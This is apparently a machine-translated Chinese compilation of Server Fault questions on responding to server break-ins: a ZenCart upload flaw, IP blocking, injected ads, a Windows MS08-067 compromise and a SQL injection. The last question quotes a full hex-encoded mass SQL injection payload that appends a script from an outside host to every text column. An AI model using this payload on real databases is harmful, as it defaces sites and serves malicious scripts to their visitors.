这是关于服务器安全的规范问题- 响应违规事件(黑客攻击)
另请参见:
规范版本
我怀疑我的一台或多台服务器受到了黑客、病毒或其他机制的危害:
原版
2011.01.02 - 我在周日晚上 9.30 上班的路上,因为我们的服务器不知何故遭到入侵,导致对我们的供应商的 DOS攻击。访问 Internet 的服务器已关闭,这意味着我们的 5-600 多个客户站点现已关闭。现在这可能是 FTP 黑客攻击,或者某处代码中的一些弱点。我不确定,直到我到达那里。
我怎样才能快速追踪到这个?如果我不尽快备份服务器,我们将面临大量诉讼。任何帮助表示赞赏。我们正在运行 Open SUSE 11.0。
2011.01.03 - 感谢大家的帮助。幸运的是,我不是唯一负责这个服务器的人,只是最近的人。我们设法解决了这个问题,尽管它可能不适用于不同情况下的许多其他问题。我会详细说明我们做了什么。
我们从网络上拔掉了服务器。它正在印度尼西亚的另一台服务器上执行(试图执行)拒绝服务攻击,而犯罪方也在那里。
我们首先试图确定这是来自服务器上的哪个位置,考虑到我们服务器上有 500 多个站点,我们预计会在一段时间内兼职。然而,在 SSH 访问仍然存在的情况下,我们运行了一个命令来查找在攻击开始时编辑或创建的所有文件。幸运的是,有问题的文件是在寒假期间创建的,这意味着当时在服务器上创建的其他文件并不多。
然后,我们能够识别ZenCart网站内上传的图像文件夹内的违规文件。
在短暂的休息之后,我们得出结论,由于文件位置的原因,它一定是通过文件上传工具上传的,但该工具没有得到足够的保护。经过一番谷歌搜索,我们发现 ZenCart 管理面板中存在一个安全漏洞,允许上传文件以获取唱片公司的图片。(它从未真正使用过的部分),发布此表单只是上传了任何文件,它没有检查文件的扩展名,甚至没有检查用户是否已登录。
这意味着可以上传任何文件,包括用于攻击的 PHP 文件。我们在受感染站点上使用 ZenCart 保护漏洞,并删除了有问题的文件。
工作完成了,我在凌晨 2 点回家
道德 - 始终为 ZenCart 或任何其他 CMS 系统应用安全补丁。当安全更新发布时,全世界都意识到了这个漏洞。- 总是做备份,备份你的备份。- 雇用或安排在这种时候会在那里的人。防止任何人依赖服务器故障上的恐慌帖子。
我受到来自中国的黑客攻击的轰炸,所有这些都使用类似的 IP。
我将如何使用 116.10.191.* 等内容阻止 IP 范围?
我正在运行 Ubuntu Server 13.10。
我正在使用的当前行是:
sudo /sbin/iptables -A INPUT -s 116.10.191.207 -j DROP
Run Code Online (Sandbox Code Playgroud)
这只能让我一次阻止每个人,但黑客每次尝试都在更改 IP。
我在家经营一家基于互联网的小型企业,并以此为生以养家糊口,但我仍然是一个单身人士,互联网安全远非我的专业领域。
昨天我收到了两封来自一个自称“道德黑客”的人的电子邮件,他在我的系统中发现了两个漏洞,他说这些漏洞可能被黑客利用。我相信他。
问题是,在每封电子邮件的底部,他都说他“希望得到赏金”。这是黑信吗?这是他说你最好付钱给我的方式,否则我会造成严重破坏吗?或者这是一种典型的合法的谋生方式,没有任何恶意?
编辑: 更多说明:他给了我两个带有屏幕截图的漏洞示例以及有关如何修复这些漏洞的明确说明。一种是将我的 SPF 记录的“?all”部分更改为“-all”以阻止所有其他域为我的域发送电子邮件。在另一封电子邮件中,他解释了我的网站如何能够在 iframe 中显示(启用一种称为“点击劫持”的技术),他还包含了一个代码示例和有关如何防止它的说明。
在阅读有关服务器入侵的这个问题后,我开始想知道为什么人们似乎仍然相信他们可以使用检测/清理工具或仅通过修复用于入侵系统的漏洞来恢复受损系统。
考虑到所有各种 root kit 技术和黑客可以做的其他事情,大多数专家建议您应该重新安装操作系统。
我希望能更好地了解为什么更多的人不只是从轨道上起飞并摧毁该系统。
这里有几点,我希望看到解决。
有人第二次在我帮助运行的网站上添加了一大块 javascript。这个javascript劫持了谷歌的adsense,插入自己的账号,到处贴广告。
代码总是被附加,总是在一个特定的目录中(一个由第三方广告程序使用),影响这个广告目录(20个左右)内的许多目录中的许多文件,并在一夜之间以大致相同的方式插入时间。该 Adsense 帐户属于一个中国网站(位于离我下个月要去中国的地方不到一小时路程的一个小镇。也许我应该去爆头...开玩笑,有点),顺便说一句...这里的信息网站:http : //serversiders.com/fhr.com.cn
那么,他们如何将文本附加到这些文件中呢?是否与对文件设置的权限有关(范围从 755 到 644)?对于网络服务器用户(它在 MediaTemple 上,所以它应该是安全的,是吗?)?我的意思是,如果你有一个权限设置为 777 的文件,我仍然不能随意向它添加代码......他们怎么会这样做?
这是一个实际代码示例,供您观看(正如您所看到的......没什么。真正的技巧是他们如何获得它):
<script type="text/javascript"><!--
google_ad_client = "pub-5465156513898836";
/* 728x90_as */
google_ad_slot = "4840387765";
google_ad_width = 728;
google_ad_height = 90;
//-->
</script>
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script>
Run Code Online (Sandbox Code Playgroud)
由于很多人都提到过它,这里是我检查过的(检查我的意思是我环顾了文件被修改的时间是否有任何奇怪之处,并且我为 POST 语句和目录遍历查找了文件:
*更新:**好的,解决了。来自中国的黑客在我们的网站上放置了一个文件,允许他们执行各种管理操作(数据库访问、删除和创建文件和目录,您可以命名,他们有权访问)。我们很幸运,他们没有做更具破坏性的事情。正常的 apache 日志文件中没有任何内容,但我在 Web 服务器日志分析器中发现了一组不同的日志文件,并且证据就在那里。他们使用自己的管理员用户名和密码访问这个文件,然后在服务器上编辑他们需要的任何内容。他们的文件将“apache”设置为用户,而我们网站上的所有其他文件都有不同的用户名。现在我需要弄清楚他们是如何将这个文件物理地放到我们的系统上的。我怀疑这最终会归咎于我们的网络主机(Media Temple),
Linux 服务器被黑客入侵的迹象有哪些?是否有任何工具可以按计划生成审计报告并通过电子邮件发送?
我的网站每天从尝试访问的不同 IP 获得数千次点击:
/php-myadmin/
/myadmin/
/mysql/
Run Code Online (Sandbox Code Playgroud)
...以及数以千计的其他变体。这些目录都不存在,我的服务器上什至没有 phpmyadmin。
我认为这些尝试都没有成功,但是它们肯定会消耗服务器资源并浪费带宽,因此如果可能,我想阻止它们。我已经屏蔽了一些这样的 IP,但它们不断返回新的 IP,有什么办法可以更永久地防止这种情况发生?
我不确定我是否被黑客入侵。
我尝试通过 SSH 登录,但它不接受我的密码。Root 登录被禁用,所以我去救援并打开了 root 登录,并且能够以 root 身份登录。作为 root,我尝试使用与我之前尝试登录相同的密码更改受影响帐户的密码,并passwd回复“密码不变”。然后我将密码更改为其他密码并能够登录,然后将密码更改回原始密码,我再次能够登录。
我检查auth.log了密码更改,但没有发现任何有用的东西。
我还扫描了病毒和 rootkit,服务器返回了这个:
蛤AV:
"/bin/busybox Unix.Trojan.Mirai-5607459-1 FOUND"
Run Code Online (Sandbox Code Playgroud)
RK猎人:
"/usr/bin/lwp-request Warning: The command '/usr/bin/lwp-request' has been replaced by a script: /usr/bin/lwp-request: a /usr/bin/perl -w script, ASCII text executable
Warning: Suspicious file types found in /dev:"
Run Code Online (Sandbox Code Playgroud)
应该注意的是,我的服务器并不广为人知。我还更改了 SSH 端口并启用了两步验证。
我担心我被黑了,有人试图欺骗我,“一切都很好,别担心”。
我有一台装有 IIS6、SQL Server 2005、MySQL 5 和 PHP 4.3 的 Windows Server 2003 SP2 机器。这不是生产机器,而是通过域名向世界公开。机器上启用了远程桌面,并且有两个管理帐户在其上处于活动状态。
今天早上我发现机器已经注销,登录文本框中仍然有一个未知的用户名。经过进一步调查,我发现已创建两个 Windows 用户,已卸载防病毒软件,并将少量 .exe 文件放入 C: 驱动器。
我想知道的是,我应该采取什么步骤来确保这种情况不再发生,以及我应该关注的领域来确定进入的途径。我已经检查了 netstat -a 以查看哪些端口是打开的,并且那里没有任何奇怪的地方。我确实在 MySQL 的数据文件夹中找到了未知文件,我认为这可能是入口点,但我不确定。
我非常感谢对服务器黑客进行良好的事后分析的步骤,以便我将来可以避免这种情况。
调查后审查
经过一番调查,我想我知道发生了什么。首先,在 08 年 8 月至 09 年 10 月的时间范围内,机器尚未联机。在此期间,发现了一个安全漏洞,即MS08-067 漏洞。“这是一个远程执行代码漏洞。成功利用此漏洞的攻击者可以远程完全控制受影响的系统。在基于 Microsoft Windows 2000、基于 Windows XP 和基于 Windows Server 2003 的系统上,攻击者可以利用此漏洞无需身份验证即可通过 RPC 运行,并且可以运行任意代码。” 2008 年 10 月发布的 KB958644 安全更新修复了此漏洞。
由于当时机器处于离线状态,错过了这次更新,我相信这个漏洞是在 09 年 10 月机器重新上线后不久被利用的。我发现对一个被描述为后门程序的 bycnboy.exe 程序的引用,该程序会对受感染的系统造成严重破坏。机器上线后不久,自动更新安装了补丁,关闭了远程控制系统的能力。由于后门现已关闭,我相信攻击者随后在该机器上创建了物理帐户,并能够再使用该机器一周,直到我注意到发生了什么。
在积极清除恶意代码、.exes 和 .dlls,删除自托管网站和用户帐户后,机器现在再次处于工作状态。在不久的将来,我将监视系统并查看服务器日志,以确定事件是否重复发生。
感谢您提供的信息和步骤。
可能重复:
我的服务器被黑了 紧急情况
天哪,我绝望了!几个小时前,我们的生产数据库被 sql 注入。
我知道我们的系统有一些大漏洞……因为我们从一个用经典 ASP 做网站的人那里继承了这个网站,他的编程真的很糟糕而且不安全。所以我们花了一些时间将它迁移到 ASP.NET(首先是 1.1,然后是 2.0,现在是 3.5)。但这是一个大项目,仍然有旧的和不安全的代码。我不会撒谎,项目一团糟,我讨厌它,但它是我们最重要的客户(我们只是两个年轻人,不是大公司)。
所以我知道他们以某种方式向我的整个数据库注入了一些 js 脚本引用......这可能是通过一个旧页面使用连接字符串 sql 查询并直接扔到数据库中(因为启动项目的那个人说“存储过程没有't work"..... 所以他使用字符串连接完成了整个站点,并将它们直接扔给 sql 而不做任何安全验证或任何事情。
当我们拿到项目时,客户不想花时间重做老家伙所做的废话。所以我们不得不导致糟糕和不安全的代码并在开发新功能时修复它,因为这是客户想要的......现在我们已经被注入了 sql 他们当然会发疯。
所以....
**有没有办法检查过去 X 小时内执行过的旧 sql 查询?类似于 SQL Profiler 的工作方式(当然,当攻击发生时,我们没有打开 Profiler)?有没有办法找出哪个页面是易受攻击的页面?请帮助,有很多页面。我无法在不知道哪一页是页面的情况下手动搜索这些内容。
另外......他们是否可以通过另一种方式注入数据库?喜欢使用 IIS 请求或 js 之类的吗?**
我拥有对服务器计算机的完全远程桌面访问权限(它不在托管环境中),因此我可以访问服务器上的每个文件、日志和任何内容...
请帮忙!
PS:对不起,我的英语不是很好,现在更紧张了!
编辑
他们抛出的脚本如下
DECLARE @S NVARCHAR(4000);SET @S=CAST(0x4400450043004C0041005200450020004000540020007600610072006300680061007200280032003500350029002C0040004300200076006100720063006800610072002800320035003500290020004400450043004C0041005200450020005400610062006C0065005F0043007500720073006F007200200043005500520053004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D0065002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A006500630074007300200061002C0073007900730063006F006C0075006D006E00730020006200200077006800650072006500200061002E00690064003D0062002E0069006400200061006E006400200061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00780074007900700065003D003900390020006F007200200062002E00780074007900700065003D003300350020006F007200200062002E00780074007900700065003D0032003300310020006F007200200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C004000430020005700480049004C004500280040004000460045005400430048005F005300540041005400550053003D0030002900200042004500470049004E00200065007800650063002800270075007000640061007400650020005B0027002B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D0072007400720069006D00280063006F006E007600650072007400280076006100720063006800610072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720069007000740020007300720063003D0068007400740070003A002F002F006600310079002E0069006E002F006A002E006A0073003E003C002F007300630072006900700074003E0027002700270029004600450054004300480020004E004500580054002000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200049004E0054004F002000400054002C0040004300200045004E004400200043004C004F005300450020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004F00430041005400450020005400610062006C0065005F0043007500720073006F007200 AS NVARCHAR(4000));EXEC @S;
Run Code Online (Sandbox Code Playgroud)
翻译成文字是:
DECLARE @T varchar(255), @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' …Run Code Online (Sandbox Code Playgroud)